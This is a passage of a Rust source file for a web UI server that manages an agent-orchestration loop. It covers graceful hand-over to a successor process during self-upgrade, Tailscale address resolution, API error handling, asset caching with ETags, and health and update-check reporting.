1767    // On its own task, so nothing this function awaits can stop the address
1768    // being answered. `hand_over` is where it is given up.
1769    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1770    let interrupted = async {
1771        if tokio::signal::ctrl_c().await.is_err() {
1772            // No handler on this platform, so there is no signal to act on.
1773            // Never resolving is the safe answer: a failed registration must
1774            // not masquerade as the operator asking for a shutdown and take
1775            // the UI down on startup.
1776            std::future::pending::<()>().await;
1777        }
1778    };
1779    let handover = wait_for_handover(&HANDOVER);
1780    let outcome = tokio::select! {
1781        joined = &mut served => match joined {
1782            Ok(outcome) => outcome.context("serve the web UI"),
1783            Err(e) => Err(e).context("the task serving the web UI ended"),
1784        },
1785        () = interrupted => {
1786            tracing::info!("shutting down the web UI");
1787            finish_loop(&home, &looping, None).await;
1788            Ok(())
1789        }
1790        () = handover => {
1791            updater::log_step(&home, "serve: the select! woke on the handover signal");
1792            let successor_home = home.clone();
1793            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1794            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1795                spawn_successor(&successor_home, resume)
1796            })
1797            .await
1798        }
1799    };
1800    updater::log_step(
1801        &home,
1802        &match &outcome {
1803            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1804            Err(e) => format!("serve: returning an error: {e:#}"),
1805        },
1806    );
1807    outcome
1808}
1809
1810/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1811/// process's own working directory is not a git checkout at all - the
1812/// checkout [`repos::discover_verified`] finds instead.
1813///
1814/// Only the unmodified default is ever replaced: an operator who named a
1815/// directory outright, git checkout or not, gets exactly that directory
1816/// back, and the same story downstream (a talk whose briefing embeds a
1817/// non-git directory, and an agent that has to ask the operator where the
1818/// real repository is) that has always told them so - substituting a guess
1819/// for an explicit answer would be a second, silent opinion about what they
1820/// meant. There is no instruction or task text yet to match against this
1821/// early, so only [`repos::discover_verified`]'s own-repository tier can
1822/// ever settle this - the hint tier never fires here.
1823///
1824/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1825/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1826/// or a git installation that is broken in exactly the way that made the
1827/// original `canonical` check above fail too - so it is re-checked with
1828/// `git::toplevel` before it is ever used in place of the operator's own
1829/// directory.
1830async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1831    if repo != FsPath::new(".") {
1832        return repo;
1833    }
1834    let Ok(canonical) = repo.canonicalize() else {
1835        return repo;
1836    };
1837    if git::toplevel(&canonical).await.is_ok() {
1838        return repo;
1839    }
1840    let Some(home) = dirs::home_dir() else {
1841        return repo;
1842    };
1843    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1844        Some(found) => {
1845            tracing::info!(
1846                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1847                canonical.display(),
1848                found.path.display(),
1849                found.reason,
1850            );
1851            found.path
1852        }
1853        None => repo,
1854    }
1855}
1856
1857/// Park the loop, then release the address, then start the successor.
1858///
1859/// The order is the whole function, and each step is answerable to a failure
1860/// this arrangement has already had:
1861///
1862/// 1. **Park.** The loop was asked to stop by the request that replaced the
1863///    binary, and this waits for it, because killing the graph mid-node
1864///    leaves worktrees, branches and agent sessions behind and throws away
1865///    every agent call already paid for. It takes as long as the node in
1866///    flight - up to `timeout_implement`, an hour by default - and the deck
1867///    goes on answering for all of it, which is the reason `served` is a task
1868///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1869///    first upgrade from a phone that caught a run mid-implement dropped the
1870///    listener the moment it was asked to, and the operator got
1871///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1872///    waiting on and nothing but a process list to say the run was alive.
1873/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1874///    the join resolves only once the task's future has been dropped, so the
1875///    listener is released before the next line. Connections it already
1876///    accepted are served on tasks of their own and wind down asynchronously;
1877///    on some platforms (macOS) they can briefly keep the address busy, and
1878///    the successor's `bind_waiting` absorbs that.
1879/// 3. **Start the successor**, which binds the address this process has just
1880///    let go of - see [`spawn_successor`] for what the other order cost.
1881///
1882/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1883/// reporting, not part of the design: it exists so `/api/health` can say
1884/// "parking, waiting on run X" instead of leaving the phone to guess why the
1885/// deck went quiet, and dropping it would not change the order above.
1886async fn hand_over(
1887    home: &FsPath,
1888    looping: &Mutex<LoopState>,
1889    turns: &Arc<Mutex<TalkTurns>>,
1890    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1891    served: tokio::task::JoinHandle<std::io::Result<()>>,
1892    successor: impl FnOnce(bool) -> Result<u32>,
1893) -> Result<()> {
1894    updater::log_step(home, "hand_over: entered; writing the parking stage");
1895    // The lease and the stage are written as one step, so a reader that sees
1896    // `parking` also finds the proof that hand_over is alive. Dropped on
1897    // every way out.
1898    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1899    if !recorded {
1900        updater::log_warn(
1901            home,
1902            "hand_over: upgrade.json is unreadable; no parking stage",
1903        );
1904    }
1905    // Chat stays open while the loop parks: nothing restarts until it ends,
1906    // and the park can last as long as a node. Only once it is done is the
1907    // slot closed, right before the restart; a turn started earlier is in
1908    // `live` by then, so `finish_talks` waits for it.
1909    finish_loop(home, looping, Some(&mut lease)).await;
1910    let parking = ParkingTurns::begin(turns);
1911    let talks_done = finish_talks(home, turns, talk_wait);
1912    tokio::pin!(talks_done);
1913    let mut beat = tokio::time::interval(LEASE_BEAT);
1914    let (abandoned, waited_for) = loop {
1915        tokio::select! {
1916            left = &mut talks_done => break left,
1917            _ = beat.tick() => lease.beat(),
1918        }
1919    };
1920    drop(lease);
1921    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1922    served.abort();
1923    let _ = served.await;
1924    updater::log_step(home, "hand_over: listener released");
1925    // Read last: the deck answers for the whole park, so an operator's stop
1926    // during the wait must still be honoured by the successor.
1927    let resume = lock_or_recover(looping).resume_after_handover;
1928    match updater::read_progress(home) {
1929        Some(mut progress) => {
1930            progress.advance(updater::Stage::Restarting);
1931            if !abandoned.is_empty() {
1932                progress.detail = Some(format!(
1933                    "handed over while {} still running after {} s",
1934                    updater::talks_phrase(&abandoned),
1935                    waited_for.as_secs()
1936                ));
1937            }
1938            updater::write_progress_logged(home, &progress);
1939        }
1940        None => updater::log_warn(
1941            home,
1942            "hand_over: upgrade.json is unreadable; no restarting stage",
1943        ),
1944    }
1945    updater::log_step(
1946        home,
1947        &format!("hand_over: starting the successor (resume={resume})"),
1948    );
1949    drop(parking);
1950    match successor(resume) {
1951        Ok(pid) => {
1952            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1953            Ok(())
1954        }
1955        Err(e) => {
1956            updater::log_warn(
1957                home,
1958                &format!("hand_over: the successor did not start: {e:#}"),
1959            );
1960            Err(e)
1961        }
1962    }
1963}
1964
1965/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
1966/// a turn that runs its full timeout still needs a moment to record its answer.
1967const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1968
1969/// How often the park looks at the chat turns still running.
1970const TALK_POLL: Duration = Duration::from_millis(250);
1971
1972/// The longest an upgrade waits for chat turns: one turn's timeout plus a
1973/// grace. Beyond it a stuck turn must not block the hand-over.
1974fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1975    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1976}
1977
1978/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
1979/// the repositories those talks run in (each turn uses its own talk's
1980/// configuration), plus the grace. A talk or config that cannot be read counts
1981/// with the default timeout.
1982fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1983    let default = Config::default().graph.timeout_talk;
1984    let longest = ids
1985        .iter()
1986        .map(|id| {
1987            talks
1988                .get(id)
1989                .ok()
1990                .and_then(|t| Config::discover(&t.repo, None).ok())
1991                .map_or(default, |(c, _)| c.graph.timeout_talk)
1992        })
1993        .max()
1994        .unwrap_or(default);
1995    talk_wait_bound(longest)
1996}
1997
1998/// Stops new chat turns for as long as it lives, so the hand-over only ever
1999/// waits on a set that cannot grow. `hand_over` takes it only after the loop
2000/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
2001struct ParkingTurns(Arc<Mutex<TalkTurns>>);
2002
2003impl ParkingTurns {
2004    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
2005        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
2006        Self(Arc::clone(turns))
2007    }
2008}
2009
2010impl Drop for ParkingTurns {
2011    fn drop(&mut self) {
2012        self.0
2013            .lock()
2014            .unwrap_or_else(PoisonError::into_inner)
2015            .parking = false;
2016    }
2017}
2018
2019/// Wait until no chat turn is running in this process, for at most the longest
2020/// `bound_for` has given for the turns seen so far. Returns the talk ids still
2021/// running when the bound was hit (empty when the turns finished) with the
2022/// bound that applied, after saying so in the upgrade log.
2023async fn finish_talks(
2024    home: &FsPath,
2025    turns: &Mutex<TalkTurns>,
2026    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
2027) -> (Vec<String>, Duration) {
2028    let running = || {
2029        let mut ids: Vec<String> = turns
2030            .lock()
2031            .unwrap_or_else(PoisonError::into_inner)
2032            .live
2033            .iter()
2034            .cloned()
2035            .collect();
2036        // A turn another task of this process (the daemon's completion
2037        // notice) or another process runs holds only the on-disk lease.
2038        let talks = talk::Talks::at(home.join("talks"));
2039        for t in talks.list() {
2040            if talks.turn_held(&t.id) && !ids.contains(&t.id) {
2041                ids.push(t.id);
2042            }
2043        }
2044        ids.sort();
2045        ids
2046    };
2047    let started = std::time::Instant::now();
2048    let mut seen = Vec::new();
2049    let mut bound = Duration::ZERO;
2050    loop {
2051        let ids = running();
2052        if ids != seen {
2053            bound = bound.max(bound_for(&ids));
2054            if ids.is_empty() {
2055                updater::log_step(home, "finish_talks: no chat turn is running");
2056            } else {
2057                updater::log_step(
2058                    home,
2059                    &format!(
2060                        "finish_talks: waiting for {} to finish",
2061                        updater::talks_phrase(&ids)
2062                    ),
2063                );
2064            }
2065            updater::set_parked_talks(home, &ids);
2066            seen = ids;
2067        }
2068        if seen.is_empty() {
2069            return (Vec::new(), bound);
2070        }
2071        if started.elapsed() >= bound {
2072            updater::log_warn(
2073                home,
2074                &format!(
2075                    "finish_talks: {} still running after {} s; handing over anyway",
2076                    updater::talks_phrase(&seen),
2077                    bound.as_secs()
2078                ),
2079            );
2080            return (seen, bound);
2081        }
2082        tokio::time::sleep(TALK_POLL).await;
2083    }
2084}
2085
2086/// How often `finish_loop` renews the handover lease; well inside
2087/// [`updater::LEASE_TTL_SECS`].
2088const LEASE_BEAT: Duration = Duration::from_secs(20);
2089
2090/// Ask the loop to stop and wait for it, on the way out of [`serve`].
2091///
2092/// The wait is the whole function. Returning from `serve` while a graph is
2093/// mid-node ends the process with worktrees, branches and agent sessions left
2094/// behind and every agent call in that run paid for and thrown away, which is
2095/// exactly what the daemon's own shutdown refuses to do.
2096async fn finish_loop(
2097    home: &FsPath,
2098    state: &Mutex<LoopState>,
2099    mut lease: Option<&mut updater::LeaseGuard>,
2100) {
2101    let live = lock_or_recover(state).live.take();
2102    let Some(live) = live else {
2103        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
2104        return;
2105    };
2106    live.stop.stop();
2107    lock_or_recover(state).rev += 1;
2108    updater::log_step(
2109        home,
2110        "finish_loop: waiting for the loop to finish the run in flight",
2111    );
2112    let waited = std::time::Instant::now();
2113    // The task records its own outcome and logs it, so there is nothing to do
2114    // with a join error here but stop waiting.
2115    let mut handle = live.handle;
2116    let mut beat = tokio::time::interval(LEASE_BEAT);
2117    loop {
2118        tokio::select! {
2119            _ = &mut handle => break,
2120            _ = beat.tick() => {
2121                if let Some(lease) = lease.as_deref_mut() {
2122                    lease.beat();
2123                }
2124            }
2125        }
2126    }
2127    updater::log_step(
2128        home,
2129        &format!(
2130            "finish_loop: the loop ended after {:.1}s",
2131            waited.elapsed().as_secs_f32()
2132        ),
2133    );
2134}
2135
2136/// Resolve `--bind` to an address, plus a warning when the answer is not what
2137/// the operator asked for.
2138///
2139/// Split out from [`serve`] because the interesting half - deciding whether
2140/// Tailscale gave us something usable - is testable without opening a socket.
2141pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2142    match bind {
2143        Bind::Addr(addr) => (*addr, None),
2144        Bind::Auto => match tailscale_ip() {
2145            Ok(ip) => (IpAddr::V4(ip), None),
2146            Err(why) => (
2147                IpAddr::V4(Ipv4Addr::LOCALHOST),
2148                Some(format!(
2149                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2150                     local-only and a phone cannot reach it; start Tailscale \
2151                     or pass --bind <addr>"
2152                )),
2153            ),
2154        },
2155    }
2156}
2157
2158/// This machine's Tailscale IPv4, or why there is not one.
2159///
2160/// `tailscale ip -4` is a local call against the running daemon and returns in
2161/// milliseconds, so it is fine to make it synchronously before the server
2162/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2163/// CGNAT block Tailscale assigns from, and anything else on that output would
2164/// be a different tool answering.
2165fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2166    let out = std::process::Command::new("tailscale")
2167        .args(["ip", "-4"])
2168        .quiet()
2169        .output()
2170        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2171    if !out.status.success() {
2172        let why = String::from_utf8_lossy(&out.stderr);
2173        let why = why.trim();
2174        return Err(format!(
2175            "`tailscale ip -4` failed ({}){}",
2176            out.status,
2177            if why.is_empty() {
2178                String::new()
2179            } else {
2180                format!(": {why}")
2181            }
2182        ));
2183    }
2184    String::from_utf8_lossy(&out.stdout)
2185        .lines()
2186        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2187        .find(is_tailnet)
2188        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2189}
2190
2191/// Is this address in the CGNAT block Tailscale hands out from?
2192fn is_tailnet(ip: &Ipv4Addr) -> bool {
2193    let o = ip.octets();
2194    o[0] == 100 && (64..=127).contains(&o[1])
2195}
2196
2197/// What every handler returns. Spelled out because `Result` in this crate is
2198/// `anyhow::Result`, and a handler's error is a status code as much as a
2199/// message.
2200type ApiResult<T> = std::result::Result<T, ApiError>;
2201
2202/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2203#[derive(Debug)]
2204struct ApiError {
2205    status: StatusCode,
2206    message: String,
2207    text_reason: Option<crate::question_delivery::UnavailableReason>,
2208}
2209
2210impl ApiError {
2211    /// The client asked for something malformed.
2212    fn bad_request(message: impl Into<String>) -> Self {
2213        Self {
2214            text_reason: None,
2215            status: StatusCode::BAD_REQUEST,
2216            message: message.into(),
2217        }
2218    }
2219
2220    /// No such run or task.
2221    fn not_found(message: impl Into<String>) -> Self {
2222        Self {
2223            text_reason: None,
2224            status: StatusCode::NOT_FOUND,
2225            message: message.into(),
2226        }
2227    }
2228
2229    /// Someone else owns the thing the client wants to change.
2230    /// Re-badge an error whose default mapping is wrong for this route.
2231    fn with_status(mut self, status: StatusCode) -> Self {
2232        self.status = status;
2233        self
2234    }
2235
2236    /// A rules violation from a domain type, reported as the caller's fault.
2237    /// `Question::answer` rejects an unoffered choice, and that is a bad
2238    /// request, not a server error.
2239    fn bad_request_from(e: anyhow::Error) -> Self {
2240        Self::bad_request(format!("{e:#}"))
2241    }
2242
2243    fn conflict(message: impl Into<String>) -> Self {
2244        Self {
2245            text_reason: None,
2246            status: StatusCode::CONFLICT,
2247            message: message.into(),
2248        }
2249    }
2250
2251    /// Our fault, or the disk's.
2252    fn internal(message: impl Into<String>) -> Self {
2253        Self {
2254            text_reason: None,
2255            status: StatusCode::INTERNAL_SERVER_ERROR,
2256            message: message.into(),
2257        }
2258    }
2259}
2260
2261impl From<anyhow::Error> for ApiError {
2262    /// Errors from `queue` and `run` carry their context chain, and the whole
2263    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2264    /// value at line 3" is a message an operator can act on, and there is no
2265    /// secret in a path on a single-user tailnet.
2266    fn from(e: anyhow::Error) -> Self {
2267        Self::internal(format!("{e:#}"))
2268    }
2269}
2270
2271impl IntoResponse for ApiError {
2272    fn into_response(self) -> Response {
2273        let mut body = serde_json::json!({ "error": self.message });
2274        if let Some(reason) = self.text_reason {
2275            body["code"] = serde_json::json!("question_text_unavailable");
2276            body["reason"] = serde_json::json!(reason);
2277        }
2278        (self.status, Json(body)).into_response()
2279    }
2280}
2281
2282/// Run a handler's filesystem work off the executor.
2283///
2284/// Every route that touches the disk goes through here rather than each one
2285/// arguing about whether its own read is small enough. Uniform because the
2286/// expensive case is not rare: `run.json` for a finished competition holds
2287/// every judgement, deliberation turn and review round, so listing a few
2288/// hundred runs is megabytes of parsing, and the executor threads doing it are
2289/// the same ones serving the change stream of every other connected phone.
2290async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2291where
2292    T: Send + 'static,
2293{
2294    #[cfg(test)]
2295    let job = request_cost::carry(job);
2296    match tokio::task::spawn_blocking(job).await {
2297        Ok(result) => result,
2298        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2299    }
2300}
2301
2302/// Cache policy for the three compiled-in front-end files.
2303///
2304/// The whole interface is `include_str!`ed into the binary, so its content
2305/// changes only when the binary does - and a phone that keeps a copy is
2306/// welcome to, right up until the deck is replaced. Without a single cache
2307/// header, browsers were free to invent their own policy, and one did:
2308/// yukimemi's phone went on showing "Candidates must be folded before
2309/// deleting. Run `magi fold` first." - a sentence deleted two releases
2310/// earlier - from a run detail served by a deck that no longer contained it.
2311/// The delete button he was told about was right there, and unreachable.
2312///
2313/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2314/// every time, the answer is a 304 costing one small round trip while the
2315/// deck is unchanged, and the moment it is replaced the tag differs and the
2316/// new interface arrives. Correctness over bytes - this is one file of a few
2317/// tens of kilobytes on a tailnet, and being a version behind is not a
2318/// cosmetic problem when the difference is whether a button exists.
2319const ASSET_CACHE: &str = "no-cache, must-revalidate";
2320
2321/// `ETag` for the compiled-in assets, distinct per build.
2322///
2323/// The version alone would leave a locally built deck - `cargo install
2324/// --path .` twice at the same version, which is the normal way to iterate -
2325/// serving a stale tag for changed bytes. The build timestamp is what makes
2326/// two builds of `0.3.0` differ.
2327fn asset_etag() -> &'static str {
2328    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2329        format!(
2330            "\"{}-{}\"",
2331            env!("CARGO_PKG_VERSION"),
2332            // Length is a cheap, deterministic stand-in for a hash: the
2333            // three files are compiled in together, so any edit to any of
2334            // them almost certainly changes the total, and a rebuild is what
2335            // this needs to track rather than every possible byte pattern.
2336            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2337        )
2338    });
2339    &TAG
2340}
2341
2342/// Headers for a compiled-in asset of `mime`.
2343fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2344    [
2345        (header::CONTENT_TYPE, mime),
2346        (header::CACHE_CONTROL, ASSET_CACHE),
2347        (header::ETAG, asset_etag()),
2348    ]
2349}
2350
2351/// Serve a compiled-in asset, answering `304` when the client already has it.
2352///
2353/// axum does not compare `If-None-Match` for us, and a header the server sets
2354/// but never honours is worse than none: the phone revalidates on every load
2355/// and is handed the whole file back each time. Doing the comparison is what
2356/// makes `must-revalidate` cost one small round trip rather than the
2357/// interface.
2358fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2359    let tag = asset_etag();
2360    let known = headers
2361        .get(header::IF_NONE_MATCH)
2362        .and_then(|v| v.to_str().ok())
2363        // A revalidating client may send several, and a proxy may weaken the
2364        // tag to `W/"..."`; matching on containment covers both without
2365        // parsing the grammar.
2366        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2367    if known {
2368        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2369    }
2370    (asset_headers(mime), body).into_response()
2371}
2372
2373async fn index(headers: header::HeaderMap) -> Response {
2374    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2375}
2376
2377async fn app_css(headers: header::HeaderMap) -> Response {
2378    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2379}
2380
2381async fn app_js(headers: header::HeaderMap) -> Response {
2382    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2383}
2384
2385/// What `/api/health` answers.
2386#[derive(Debug, Serialize)]
2387struct HealthView {
2388    version: &'static str,
2389    home: String,
2390    queue_rev: u64,
2391    runs_rev: u64,
2392    /// The same revisions [`events`] streams for the question and talk
2393    /// stores.
2394    ///
2395    /// Here because this route is what the front end falls back to when the
2396    /// change stream is not up - it re-polls health on a timer and on wake, and
2397    /// takes the revisions from the answer. Without these the fallback
2398    /// compares `undefined` against `undefined` for both stores, decides
2399    /// nothing moved, and a phone with a dead stream never learns that a
2400    /// question was asked or that a talk took a turn. `queue_rev` and
2401    /// `runs_rev` above have always been here for exactly this reason; the rule
2402    /// is that every revision the stream carries, this route carries too.
2403    questions_rev: u64,
2404    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2405    talks_rev: u64,
2406    /// See [`HealthView::questions_rev`]. The notification centre's store.
2407    notifications_rev: u64,
2408    /// Notifications nobody has read yet: the bell's badge before
2409    /// `/api/notifications` has answered.
2410    notifications_unread: usize,
2411    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2412    /// is not on disk anywhere, so a phone with no change stream has no other
2413    /// way to notice that the loop it is waiting on was started from another
2414    /// device.
2415    loop_rev: u64,
2416    /// Runs on disk whose state this build cannot parse - almost always a
2417    /// schema bump, occasionally a run killed mid-write.
2418    ///
2419    /// Reported because the list silently skips them, and "no competitions
2420    /// yet" is a lie when six of them are sitting in the runs directory. The
2421    /// terminal deck learned the same lesson: a run that fails to parse must
2422    /// not disappear from the count.
2423    runs_unreadable: usize,
2424    /// The disk, and what the runs and their worktrees occupy on it.
2425    ///
2426    /// This is the incident the janitor exists for: magi alone put 30 GB into
2427    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2428    /// is exactly where the operator learns "the disk is the constraint" -
2429    /// the diagnosis that a run is being held for want of space has to be
2430    /// checkable on the same screen.
2431    disk: DiskView,
2432    /// Questions nobody has answered yet, including ones an owner talked
2433    /// back on and is now waiting for the agent's reply to. A round trip
2434    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2435    /// while the ball is in the agent's court - see
2436    /// [`crate::ask::Questions::count_open`].
2437    questions_open: usize,
2438    /// Of those, how many actually need the owner right now: open, and not
2439    /// [`crate::ask::Question::waiting_on_agent`].
2440    ///
2441    /// The one number that means "nothing will happen until a human acts" -
2442    /// a parked run consumes nothing and progresses never - and the count the
2443    /// ask bar, the nav badge and the document title fall back to before
2444    /// `/api/questions` has answered, so those notification channels clear
2445    /// the instant the owner asks back and reappear the instant the agent
2446    /// replies, instead of sitting lit for however long the agent thinks.
2447    questions_needs_owner: usize,
2448    daemon: DaemonView,
2449    /// The loop in this process, exactly what `/api/loop` answers with.
2450    ///
2451    /// Here so a phone that has just woken needs one request to know whether
2452    /// anything is going to happen at all: `daemon` says a loop is alive
2453    /// somewhere, and this says whether it is one this UI can stop.
2454    #[serde(rename = "loop")]
2455    looping: LoopView,
2456    /// Whether a release newer than this build is known, and which.
2457    ///
2458    /// From [`updater::Checker::cached_update`] - the same throttled state the
2459    /// CLI's `notify` mode banners from - never a live check: this route is
2460    /// polled every few seconds, and a live check on each poll would spend
2461    /// GitHub's rate limit before the operator finished reading the strip.
2462    update: UpdateView,
2463    /// The self-upgrade this deck last set in motion, or `null` before the
2464    /// first one. Read off disk, so the successor can report what its
2465    /// predecessor started.
2466    upgrade: Option<UpgradeProgressView>,
2467    upgrade_request_error: Option<UpgradeRequestFailure>,
2468}
2469
2470/// What `/api/health` knows about a release newer than this build.
2471///
2472/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2473/// is already the newest" from "never checked" - both are `None` - and the
2474/// phone needs to tell those apart to decide whether the deck can be trusted
2475/// to have an opinion at all.
2476#[derive(Debug, Serialize)]
2477struct UpdateView {
2478    /// A newer release is known to exist.
2479    available: bool,
2480    /// Its tag, when `available`.
2481    to: Option<String>,
2482}
2483
2484/// [`updater::Progress`] as `/api/health` reports it.
2485#[derive(Debug, Serialize)]
2486struct UpgradeProgressView {
2487    stage: updater::Stage,
2488    from: String,
2489    to: Option<String>,
2490    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2491    /// the step it is finishing before the address is handed over.
2492    waiting_on: Option<String>,
2493    started_at: Timestamp,
2494    updated_at: Timestamp,
2495    detail: Option<String>,
2496    /// Seconds the stage has outlived its allowance, when it has - see
2497    /// [`updater::stall`]. `null` while the stage is moving normally.
2498    stuck_for_secs: Option<i64>,
2499    /// Which kind of stuck: `never_entered` (hand_over left no record of
2500    /// starting) or `stopped_beating`. `null` when not stuck.
2501    stuck_kind: Option<updater::StallKind>,
2502    /// `hand_over` is alive and waiting on the loop: however long that takes,
2503    /// it is not an overdue upgrade.
2504    handover_alive: bool,
2505}
2506
2507/// Whether [`run_update_recheck`] may act at all this tick.
2508///
2509/// The same two conditions [`updater::Checker::new`] and
2510/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2511/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2512/// GitHub from this process" - on a button press or on a timer alike.
2513fn should_spawn_recheck(cfg: &Update) -> bool {
2514    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2515}
2516
2517/// Whether this tick should actually reach the network, once checking itself
2518/// is allowed.
2519///
2520/// An upgrade already in flight must not be raced by a check that discovers
2521/// a *newer* release while one is still installing - a phone watching
2522/// `/api/health` would see the answer change out from under the upgrade it
2523/// already asked for. Past that, [`updater::Checker::should_check`] is the
2524/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2525/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2526/// polling period, is what keeps this task's network use to at most once per
2527/// `[update] interval` regardless of how often it wakes up.
2528fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2529    if progress.is_some_and(|p| !p.stage.terminal()) {
2530        return false;
2531    }
2532    checker.should_check()
2533}
2534
2535/// How long [`run_update_recheck`] sleeps before its next wake-up.
2536///
2537/// A fraction of the configured `[update] interval` rather than a fixed
2538/// number: a fixed sleep longer than a short custom interval would leave the
2539/// deck waiting on its own wake-up rather than on `should_check`, so an
2540/// operator who set `interval = "1m"` to make the UI catch up quickly would
2541/// not see that take effect until the next restart - exactly the bug this
2542/// task exists to fix, just moved one level down. Scaling with the interval
2543/// keeps the wake-up prompt relative to what was actually configured, while
2544/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2545/// still what caps the network calls themselves at one per interval,
2546/// regardless of how often this fires.
2547fn recheck_poll_period(cfg: &Update) -> Duration {
2548    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2549}
2550
2551/// Keep `/api/health`'s `update` field current for as long as `magi web`
2552/// stays up.
2553///
2554/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2555/// which is enough for every other command: they exit in seconds. `magi web`
2556/// can run for days, so a single startup check leaves the cache - and the
2557/// phone's "Update & restart" button, which reads it via
2558/// [`cached_update_view`] - frozen on whatever that one look found, however
2559/// many releases ship afterwards. This is what notices the rest of them,
2560/// re-reading the config each tick so a `magi.toml` edit while the server is
2561/// up takes effect without a restart, the same way every other route here
2562/// already does - both for whether checking is on at all and for how long
2563/// the next sleep should be.
2564///
2565/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
2566/// "install"`: swapping the running binary out from under a task or a run
2567/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
2568/// not as a side effect of a timer nobody asked to fire. This only ever
2569/// calls [`updater::Checker::newer_release`], which refreshes
2570/// `last_update_check.json` and nothing else - so under `mode = "install"`
2571/// this behaves like `notify` for as long as the deck stays up, and an
2572/// actual self-install still happens exactly where it always has: once, at
2573/// the next process start.
2574async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2575    loop {
2576        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2577        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2578        if !should_spawn_recheck(&cfg.update) {
2579            continue;
2580        }
2581        let Some(checker) = updater::Checker::new(&cfg.update) else {
2582            continue;
2583        };
2584        let progress = updater::read_progress(&home);
2585        if !update_recheck_due(&checker, progress.as_ref()) {
2586            continue;
2587        }
2588        if let Err(e) = checker.newer_release().await {
2589            tracing::warn!("background update recheck failed: {e:#}");
2590        }
2591    }
2592}
2593
2594/// [`UpdateView`] from the same throttled, disk-only state
2595/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2596/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2597/// no cached state at all, which is correct: an operator who turned checking
2598/// off gets no opinion, not a stale one.
2599fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2600    let default;
2601    let cfg = match cfg {
2602        Some(cfg) => cfg,
2603        None => {
2604            default = Config::default();
2605            &default
2606        }
2607    };
2608    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2609    match latest {
2610        Some(latest) => UpdateView {
2611            available: true,
2612            to: Some(latest.tag_name),
2613        },
2614        None => UpdateView {
2615            available: false,
2616            to: None,
2617        },
2618    }
2619}
2620
2621/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2622/// from the parked run's own state when the stage is
2623/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2624/// already on disk in `run.json`, so this reads them fresh rather than
